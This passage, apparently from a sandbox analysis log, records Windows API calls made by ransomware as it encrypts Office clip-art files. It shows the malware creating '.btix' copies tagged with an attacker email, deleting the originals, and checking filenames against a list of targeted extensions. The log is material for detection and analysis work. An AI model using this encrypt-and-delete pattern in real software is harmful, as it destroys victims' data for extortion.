lpOverlapped=0x0) returned 1 [0050.893] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0050.895] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.895] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0050.895] SetEndOfFile (hFile=0x32c) returned 1 [0050.895] CloseHandle (hObject=0x32c) returned 1 [0050.896] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.896] SetEndOfFile (hFile=0x394) returned 1 [0050.897] CloseHandle (hObject=0x394) returned 1 [0050.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0050.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.897] lstrlenW (lpString=".doc") returned 4 [0050.897] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.897] lstrlenW (lpString=".docx") returned 5 [0050.897] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.897] lstrlenW (lpString=".pdf") returned 4 [0050.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.898] lstrlenW (lpString=".xls") returned 4 [0050.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.898] lstrlenW (lpString=".xlsx") returned 5 [0050.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.898] lstrlenW (lpString=".ppt") returned 4 [0050.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.898] lstrlenW (lpString=".zip") returned 4 [0050.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.898] lstrlenW (lpString=".rar") returned 4 [0050.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.898] lstrlenW (lpString=".bz2") returned 4 [0050.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.898] lstrlenW (lpString=".7z") returned 3 [0050.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.898] lstrlenW (lpString=".dbf") returned 4 [0050.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.898] lstrlenW (lpString=".1cd") returned 4 [0050.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.898] lstrlenW (lpString=".jpg") returned 4 [0050.898] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.898] lstrlenW (lpString=".doc") returned 4 [0050.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.899] lstrlenW (lpString=".docx") returned 5 [0050.899] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.899] lstrlenW (lpString=".pdf") returned 4 [0050.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.899] lstrlenW (lpString=".xls") returned 4 [0050.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.899] lstrlenW (lpString=".xlsx") returned 5 [0050.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.899] lstrlenW (lpString=".ppt") returned 4 [0050.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.899] lstrlenW (lpString=".zip") returned 4 [0050.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.899] lstrlenW (lpString=".rar") returned 4 [0050.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.899] lstrlenW (lpString=".bz2") returned 4 [0050.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.899] lstrlenW (lpString=".7z") returned 3 [0050.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.899] lstrlenW (lpString=".dbf") returned 4 [0050.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.900] lstrlenW (lpString=".1cd") returned 4 [0050.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0050.900] lstrlenW (lpString=".jpg") returned 4 [0050.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.900] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.900] lstrlenW (lpString="AG00052_.GIF") returned 12 [0050.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.979] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=7686) returned 1 [0050.979] CloseHandle (hObject=0x398) returned 1 [0050.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0050.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.979] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.979] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.981] GetLastError () returned 0x0 [0050.981] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0051.219] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0051.220] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.220] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.220] SetEndOfFile (hFile=0x364) returned 1 [0051.220] CloseHandle (hObject=0x364) returned 1 [0051.221] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.221] SetEndOfFile (hFile=0x398) returned 1 [0051.221] CloseHandle (hObject=0x398) returned 1 [0051.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.222] lstrlenW (lpString=".doc") returned 4 [0051.222] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString=".docx") returned 5 [0051.222] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.222] lstrlenW (lpString=".pdf") returned 4 [0051.222] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".xls") returned 4 [0051.222] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".xlsx") returned 5 [0051.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.222] lstrlenW (lpString=".ppt") returned 4 [0051.222] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.222] lstrlenW (lpString=".zip") returned 4 [0051.222] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".rar") returned 4 [0051.222] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".bz2") returned 4 [0051.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString=".7z") returned 3 [0051.223] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.223] lstrlenW (lpString=".dbf") returned 4 [0051.223] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.223] lstrlenW (lpString=".1cd") returned 4 [0051.223] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.223] lstrlenW (lpString=".jpg") returned 4 [0051.223] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.223] lstrlenW (lpString=".doc") returned 4 [0051.223] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.223] lstrlenW (lpString=".docx") returned 5 [0051.223] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.223] lstrlenW (lpString=".pdf") returned 4 [0051.223] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.223] lstrlenW (lpString=".xls") returned 4 [0051.223] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.223] lstrlenW (lpString=".xlsx") returned 5 [0051.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.223] lstrlenW (lpString=".ppt") returned 4 [0051.223] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.223] lstrlenW (lpString=".zip") returned 4 [0051.223] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.223] lstrlenW (lpString=".rar") returned 4 [0051.223] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.223] lstrlenW (lpString=".bz2") returned 4 [0051.223] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.224] lstrlenW (lpString=".7z") returned 3 [0051.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.224] lstrlenW (lpString=".dbf") returned 4 [0051.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.224] lstrlenW (lpString=".1cd") returned 4 [0051.224] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0051.224] lstrlenW (lpString=".jpg") returned 4 [0051.224] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.224] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.224] lstrlenW (lpString="AG00130_.GIF") returned 12 [0051.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.233] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=5253) returned 1 [0051.233] CloseHandle (hObject=0x328) returned 1 [0051.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0051.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.237] GetLastError () returned 0x0 [0051.237] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1485, lpOverlapped=0x0) returned 1 [0051.305] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1490, lpOverlapped=0x0) returned 1 [0051.329] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.329] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.330] SetEndOfFile (hFile=0x388) returned 1 [0051.330] CloseHandle (hObject=0x388) returned 1 [0051.330] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.330] SetEndOfFile (hFile=0x328) returned 1 [0051.331] CloseHandle (hObject=0x328) returned 1 [0051.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0051.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.361] lstrlenW (lpString=".doc") returned 4 [0051.362] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.362] lstrlenW (lpString=".docx") returned 5 [0051.362] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.362] lstrlenW (lpString=".pdf") returned 4 [0051.362] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.362] lstrlenW (lpString=".xls") returned 4 [0051.362] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.362] lstrlenW (lpString=".xlsx") returned 5 [0051.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.362] lstrlenW (lpString=".ppt") returned 4 [0051.362] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.362] lstrlenW (lpString=".zip") returned 4 [0051.362] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.362] lstrlenW (lpString=".rar") returned 4 [0051.362] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.362] lstrlenW (lpString=".bz2") returned 4 [0051.362] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.362] lstrlenW (lpString=".7z") returned 3 [0051.362] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.362] lstrlenW (lpString=".dbf") returned 4 [0051.362] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.362] lstrlenW (lpString=".1cd") returned 4 [0051.362] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.362] lstrlenW (lpString=".jpg") returned 4 [0051.362] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.363] lstrlenW (lpString=".doc") returned 4 [0051.363] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.363] lstrlenW (lpString=".docx") returned 5 [0051.363] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.363] lstrlenW (lpString=".pdf") returned 4 [0051.363] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.363] lstrlenW (lpString=".xls") returned 4 [0051.363] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.363] lstrlenW (lpString=".xlsx") returned 5 [0051.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.363] lstrlenW (lpString=".ppt") returned 4 [0051.363] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.363] lstrlenW (lpString=".zip") returned 4 [0051.363] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.363] lstrlenW (lpString=".rar") returned 4 [0051.363] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.363] lstrlenW (lpString=".bz2") returned 4 [0051.363] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.363] lstrlenW (lpString=".7z") returned 3 [0051.363] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.363] lstrlenW (lpString=".dbf") returned 4 [0051.363] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.364] lstrlenW (lpString=".1cd") returned 4 [0051.364] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0051.364] lstrlenW (lpString=".jpg") returned 4 [0051.364] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.364] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.364] lstrlenW (lpString="AG00154_.GIF") returned 12 [0051.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.397] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=5315) returned 1 [0051.397] CloseHandle (hObject=0x398) returned 1 [0051.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0051.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.398] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.398] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.406] GetLastError () returned 0x0 [0051.406] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0051.580] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0051.580] ReadFile (in: hFile=0x398, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.580] WriteFile (in: 